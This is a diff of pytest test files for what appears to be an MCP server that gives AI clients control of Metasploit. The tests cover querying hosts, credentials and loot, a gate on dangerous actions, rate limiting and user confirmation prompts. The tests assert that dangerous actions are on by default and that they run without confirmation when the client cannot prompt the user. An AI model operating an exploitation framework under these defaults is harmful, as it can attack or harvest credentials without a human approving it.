True]} + + +@pytest.mark.unit +class TestDbIntel: + async def test_not_initialized_returns_structured_error(self, monkeypatch): + def _raise(): + raise ConnectionError("client not initialized") + + monkeypatch.setattr(server, "get_msf_client", _raise) + result = await _db_intel("db.hosts", "hosts") + assert result["status"] == "error" + assert result["error"] == "not_initialized" + + async def test_database_unavailable(self, monkeypatch): + _install_client(monkeypatch, FakeClient(connected=False)) + result = await _db_intel("db.hosts", "hosts") + assert result["status"] == "error" + assert result["error"] == "database_unavailable" + + async def test_success_counts_items(self, monkeypatch): + client = FakeClient( + data={"db.hosts": {"hosts": [{"address": "10.0.0.1"}, {"address": "10.0.0.2"}]}} + ) + _install_client(monkeypatch, client) + result = await _db_intel("db.hosts", "hosts") + assert result["status"] == "success" + assert result["count"] == 2 + assert result["workspace"] == "default" + assert len(result["hosts"]) == 2 + + async def test_bytes_response_normalized(self, monkeypatch): + client = FakeClient(data={"db.hosts": {b"hosts": [{b"address": b"10.0.0.1"}]}}) + _install_client(monkeypatch, client) + result = await _db_intel("db.hosts", "hosts") + assert result["count"] == 1 + assert result["hosts"][0]["address"] == "10.0.0.1" + + async def test_workspace_passed_in_opts(self, monkeypatch): + client = FakeClient(data={"db.hosts": {"hosts": []}}) + _install_client(monkeypatch, client) + await _db_intel("db.hosts", "hosts", workspace="engagement-1") + db_calls = [c for c in client.calls if c[0] == "db.hosts"] + assert db_calls == [("db.hosts", [{"workspace": "engagement-1"}])] + + async def test_none_filters_omitted(self, monkeypatch): + client = FakeClient(data={"db.services": {"services": []}}) + _install_client(monkeypatch, client) + await _db_intel("db.services", "services", None, addresses=None, ports=None) + db_calls = [c for c in client.calls if c[0] == "db.services"] + assert db_calls == [("db.services", [{}])] + + +@pytest.mark.unit +class TestTools: + async def test_list_hosts(self, monkeypatch): + client = FakeClient(data={"db.hosts": {"hosts": [{"address": "1.2.3.4"}]}}) + _install_client(monkeypatch, client) + result = await list_hosts() + assert result["status"] == "success" and result["count"] == 1 + + async def test_list_services_host_filter(self, monkeypatch): + client = FakeClient(data={"db.services": {"services": []}}) + _install_client(monkeypatch, client) + await list_services(host="10.0.0.5", ports="445", proto="tcp") + _, args = [c for c in client.calls if c[0] == "db.services"][0] + assert args[0]["addresses"] == ["10.0.0.5"] + assert args[0]["ports"] == "445" + assert args[0]["proto"] == "tcp" + + async def test_read_only_tools_route_to_correct_method(self, monkeypatch): + client = FakeClient( + data={ + "db.vulns": {"vulns": [{"name": "CVE-x"}]}, + "db.notes": {"notes": []}, + "db.creds": {"creds": [{"public": "root"}]}, + "db.loots": {"loots": []}, + } + ) + _install_client(monkeypatch, client) + assert (await list_vulnerabilities())["count"] == 1 + assert (await list_notes())["status"] == "success" + assert (await list_credentials())["count"] == 1 + assert (await list_loot())["status"] == "success" + methods = {c[0] for c in client.calls} + assert {"db.vulns", "db.notes", "db.creds", "db.loots"}.issubset(methods) diff --git a/tests/test_resources_and_elicitation.py b/tests/test_resources_and_elicitation.py new file mode 100644 index 0000000..a34aa5f --- /dev/null +++ b/tests/test_resources_and_elicitation.py @@ -0,0 +1,115 @@ +#!/usr/bin/env python3 +"""Tests for MCP documentation resources and elicitation-based confirmation.""" + +import asyncio +import os +import sys + +import pytest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +import metasploit_mcp.server as server + +# --- Elicitation confirmation ------------------------------------------------- + + +class _Accepted: + """Mimics fastmcp AcceptedElicitation (matched by class name).""" + + +class _Declined: + """Mimics fastmcp DeclinedElicitation.""" + + +class AcceptedElicitation(_Accepted): + pass + + +class DeclinedElicitation(_Declined): + pass + + +class FakeCtx: + def __init__(self, result): + self._result = result + self.elicited = False + + async def elicit(self, message, response_type=None, **kwargs): + self.elicited = True + if isinstance(self._result, Exception): + raise self._result + return self._result + + +@server.dangerous_tool +async def _guarded(ctx=None): + return {"status": "success", "ran": True} + + +@pytest.mark.unit +class TestElicitationConfirmation: + async def test_accept_proceeds(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + monkeypatch.setattr(server, "CONFIRM_DANGEROUS", True) + ctx = FakeCtx(AcceptedElicitation()) + result = await _guarded(ctx=ctx) + assert ctx.elicited is True + assert result.get("ran") is True + + async def test_decline_cancels(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + monkeypatch.setattr(server, "CONFIRM_DANGEROUS", True) + ctx = FakeCtx(DeclinedElicitation()) + result = await _guarded(ctx=ctx) + assert result["status"] == "cancelled" + assert result["error"] == "cancelled_by_user" + + async def test_no_elicitation_support_falls_back_to_gate(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + monkeypatch.setattr(server, "CONFIRM_DANGEROUS", True) + # ctx without an elicit method -> proceed (gate already permitted). + result = await _guarded(ctx=object()) + assert result.get("ran") is True + + async def test_elicit_error_falls_back(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + monkeypatch.setattr(server, "CONFIRM_DANGEROUS", True) + ctx = FakeCtx(RuntimeError("client does not support elicitation")) + result = await _guarded(ctx=ctx) + assert result.get("ran") is True + + async def test_confirmation_disabled_skips_elicit(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + monkeypatch.setattr(server, "CONFIRM_DANGEROUS", False) + ctx = FakeCtx(DeclinedElicitation()) + result = await _guarded(ctx=ctx) + assert ctx.elicited is False + assert result.get("ran") is True + + +# --- Resources ---------------------------------------------------------------- + + +@pytest.mark.unit +class TestResources: + def test_server_info_resource_registered(self): + uris = {str(r.uri) for r in asyncio.run(server.mcp._list_resources())} + assert "msf://server/info" in uris + + def test_module_doc_resource_template_registered(self): + templates = asyncio.run(server.mcp._list_resource_templates()) + uri_templates = {t.uri_template for t in templates} + assert any("msf://module/" in u for u in uri_templates) + + def test_server_info_resource_read(self): + result = asyncio.run(server.mcp.read_resource("msf://server/info")) + # ResourceResult.contents is a list of ResourceContent(content=...). + text = "".join(str(c.content) for c in result.contents) + assert "MetasploitMCP" in text + assert "safety" in text diff --git a/tests/test_safety_controls.py b/tests/test_safety_controls.py new file mode 100644 index 0000000..05055ca --- /dev/null +++ b/tests/test_safety_controls.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python3 +"""Tests for the default-off dangerous-actions gate and rate limiting.""" + +import os +import sys + +import pytest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +import metasploit_mcp.server as server + + +def unwrap_tool(tool_obj): + for attr in ("fn", "func", "__wrapped__", "_func"): + if hasattr(tool_obj, attr): + return getattr(tool_obj, attr) + return tool_obj + + +@server.dangerous_tool +async def _dummy_dangerous(): + return {"status": "success", "ran": True} + + +@pytest.mark.unit +class TestDangerousGate: + async def test_blocks_when_disabled(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", False) + result = await _dummy_dangerous() + assert result["status"] == "error" + assert result["error"] == "dangerous_actions_disabled" + + async def test_allows_when_enabled(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + result = await _dummy_dangerous() + assert result.get("ran") is True + + async def test_real_tool_gated_when_disabled(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", False) + # Call the registered tool directly (the @dangerous_tool wrapper); do NOT + # unwrap, or we'd bypass the gate via functools.wraps' __wrapped__. + result = await server.stop_job(1) + assert result["error"] == "dangerous_actions_disabled" + + +@pytest.mark.unit +class TestReadOnlyNotGated: + async def test_read_only_tool_not_blocked_by_gate(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", False) + + def _raise(): + raise ConnectionError("not initialized") + + monkeypatch.setattr(server, "get_msf_client", _raise) + list_hosts = unwrap_tool(server.list_hosts) + result = await list_hosts() + # Read-only tools must run regardless of the dangerous-actions gate. + assert result.get("error") != "dangerous_actions_disabled" + + +@pytest.mark.unit +class TestRateLimit: + def test_within_limit_allowed(self, monkeypatch): + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 5) + server._rate_events.clear() + assert all(server._rate_limit_retry_after() is None for _ in range(5)) + + def test_over_limit_throttled(self, monkeypatch): + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 3) + server._rate_events.clear() + for _ in range(3): + assert server._rate_limit_retry_after() is None + retry = server._rate_limit_retry_after() + assert retry is not None and retry > 0 + + def test_zero_disables_limit(self, monkeypatch): + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + server._rate_events.clear() + assert all(server._rate_limit_retry_after() is None for _ in range(200)) + + async def test_gate_returns_rate_limited(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 1) + server._rate_events.clear() + first = await _dummy_dangerous() + assert first.get("ran") is True + second = await _dummy_dangerous() + assert second["error"] == "rate_limited" + assert "retry_after_seconds" in second + + +@pytest.mark.unit +class TestDefaults: + def test_dangerous_enabled_by_default(self): + # Offensive tool: dangerous actions default ON (env unset -> True). + assert server._env_flag("MSF_MCP_SOME_UNSET_VAR", True) is True + + def test_safe_mode_env_disables(self): + assert server._env_flag("MSF_MCP_SOME_UNSET_VAR", False) is False + + def test_rate_limit_off_by_default(self, monkeypatch): + # No limit configured -> never throttles. + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 0) + server._rate_events.clear() + assert all(server._rate_limit_retry_after() is None for _ in range(100)) + + +@pytest.mark.unit +class TestConfigureSafety: + def test_configure_safety_sets_globals(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", False) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 60) + server.configure_safety(allow_dangerous=True, rate_limit_per_min=10) + assert server.DANGEROUS_ACTIONS_ENABLED is True + assert server.RATE_LIMIT_PER_MIN == 10 + + def test_configure_safety_none_is_noop(self, monkeypatch): + monkeypatch.setattr(server, "DANGEROUS_ACTIONS_ENABLED", True) + monkeypatch.setattr(server, "RATE_LIMIT_PER_MIN", 42) + server.configure_safety() # no args -> no change + assert server.DANGEROUS_ACTIONS_ENABLED is True + assert server.RATE_LIMIT_PER_MIN == 42 diff --git a/tests/test_structured_output.py b/tests/test_structured_output.py new file mode 100644 index 0000000..993da14 --- /dev/null +++ b/tests/test_structured_output.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python3 +"""Tests that tools emit MCP structured output with a text fallback.""" + +import asyncio +import json +import os +import sys + +import pytest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +import metasploit_mcp.server as server + + +def _registered_tools(): + tools = asyncio.run(server.mcp._list_tools()) + return {t.name: t for t in tools} + + +@pytest.mark.unit +def test_tools_expose_output_schema(): + tools = _registered_tools() + for name in ["list_hosts", "check_vulnerability", "get_module_results", "health_check"]: + assert tools[name].output_schema is not None, f"{name} has no output schema" + + +@pytest.mark.unit +def test_call_returns_structured_and_text(monkeypatch): + def _raise(): + raise ConnectionError("no client") + + monkeypatch.setattr(server, "get_msf_client", _raise) + + content, structured = asyncio.run(server.mcp._call_tool_mcp("list_hosts", {})) + + # Structured content is a real dict clients can consume directly. + assert isinstance(structured, dict) + assert structured["status"] == "error" + assert structured["error"] == "not_initialized" + + # Text representation remains for clients that don't support structured output. + assert content and getattr(content[0], "text", None) + assert json.loads(content[0].text)["error"] == "not_initialized"